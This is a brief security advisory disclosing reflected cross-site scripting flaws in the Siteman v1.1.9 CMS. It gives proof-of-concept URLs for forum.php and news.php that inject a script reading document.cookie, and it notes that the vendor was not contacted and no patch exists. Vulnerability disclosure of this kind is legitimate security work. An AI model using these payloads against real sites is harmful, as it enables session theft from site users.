XSS Vulnerability in Siteman v1.1.9
New XSS Vulnerability in Siteman v1.1.9,
Discovered by PersianHacker.NET Security Team
by Pi3cH (pi3ch yahoo com)
http://www.PersianHacker.NET
Siteman is a Content Management System (CMS) that is so easy to install and
use, that a person who has no knowledge about creating homepages can get a
profesionally looking website up and running in just minutes.
More info @
http://sitem.sourceforge.net/
http://sourceforge.net/projects/sitem/
Vulnerable:
XSS Vulnerability on news.php, forums.php
Examples:
http://host/forum.php?do=viewtopic&cat=1&topic=1&page=1?"><script>alert(document.cookie)</script>
http://host/news.php?do=showone&id=1&page=1?"><script>alert(document.cookie)</script>
Note:
Script authors not contacted.
There is no solution at this time.
for patching this vulnerability you can read our XSS White paper in
http://www.persianhacker.net (only in FARSI language)